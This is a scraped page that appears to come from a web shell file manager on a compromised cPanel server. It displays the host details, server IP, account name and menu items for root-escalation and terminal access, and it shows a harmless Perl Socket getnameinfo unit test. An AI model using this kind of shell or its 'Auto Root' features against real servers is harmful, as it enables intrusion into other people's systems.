Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
cpan /
Socket /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
Socket.t
2.22
KB
-r--r--r--
2014-12-27 11:48
getaddrinfo.t
4.84
KB
-r--r--r--
2014-12-27 11:49
getnameinfo.t
2.19
KB
-r--r--r--
2014-12-27 11:49
ip_mreq.t
1.13
KB
-r--r--r--
2014-12-27 11:48
ipv6_mreq.t
584
B
-r--r--r--
2014-12-27 11:48
sockaddr.t
5.25
KB
-r--r--r--
2014-12-27 11:48
socketpair.t
7.33
KB
-r--r--r--
2014-12-27 11:49
Save
Rename
use strict; use warnings; use Test::More tests => 14; use Socket qw(:addrinfo AF_INET pack_sockaddr_in inet_aton); my ( $err, $host, $service ); ( $err, $host, $service ) = getnameinfo( pack_sockaddr_in( 80, inet_aton( "127.0.0.1" ) ), NI_NUMERICHOST|NI_NUMERICSERV ); cmp_ok( $err, "==", 0, '$err == 0 for {family=AF_INET,port=80,sinaddr=127.0.0.1}/NI_NUMERICHOST|NI_NUMERICSERV' ); cmp_ok( $err, "eq", "", '$err eq "" for {family=AF_INET,port=80,sinaddr=127.0.0.1}/NI_NUMERICHOST|NI_NUMERICSERV' ); is( $host, "127.0.0.1", '$host is 127.0.0.1 for NH/NS' ); is( $service, "80", '$service is 80 for NH/NS' ); ( $err, $host, $service ) = getnameinfo( pack_sockaddr_in( 80, inet_aton( "127.0.0.1" ) ), NI_NUMERICHOST|NI_NUMERICSERV, NIx_NOHOST ); is( $host, undef, '$host is undef for NIx_NOHOST' ); is( $service, "80", '$service is 80 for NS, NIx_NOHOST' ); ( $err, $host, $service ) = getnameinfo( pack_sockaddr_in( 80, inet_aton( "127.0.0.1" ) ), NI_NUMERICHOST|NI_NUMERICSERV, NIx_NOSERV ); is( $host, "127.0.0.1", '$host is undef for NIx_NOSERV' ); is( $service, undef, '$service is 80 for NS, NIx_NOSERV' ); # Probably "localhost" but we'd better ask the system to be sure my $expect_host = gethostbyaddr( inet_aton( "127.0.0.1" ), AF_INET ); defined $expect_host or $expect_host = "127.0.0.1"; ( $err, $host, $service ) = getnameinfo( pack_sockaddr_in( 80, inet_aton( "127.0.0.1" ) ), NI_NUMERICSERV ); cmp_ok( $err, "==", 0, '$err == 0 for {family=AF_INET,port=80,sinaddr=127.0.0.1}/NI_NUMERICSERV' ); is( $host, $expect_host, "\$host is $expect_host for NS" ); is( $service, "80", '$service is 80 for NS' ); # Probably "www" but we'd better ask the system to be sure my $flags = NI_NUMERICHOST; my $expect_service = getservbyport( 80, "tcp" ); unless( defined $expect_service ) { $expect_service = "80"; $flags |= NI_NUMERICSERV; # don't seem to have a service name } ( $err, $host, $service ) = getnameinfo( pack_sockaddr_in( 80, inet_aton( "127.0.0.1" ) ), $flags ); cmp_ok( $err, "==", 0, '$err == 0 for {family=AF_INET,port=80,sinaddr=127.0.0.1}/NI_NUMERICHOST[|NI_NUMERICSERV]' ); is( $host, "127.0.0.1", '$host is 127.0.0.1 for NH' ); is( $service, $expect_service, "\$service is $expect_service for NH" );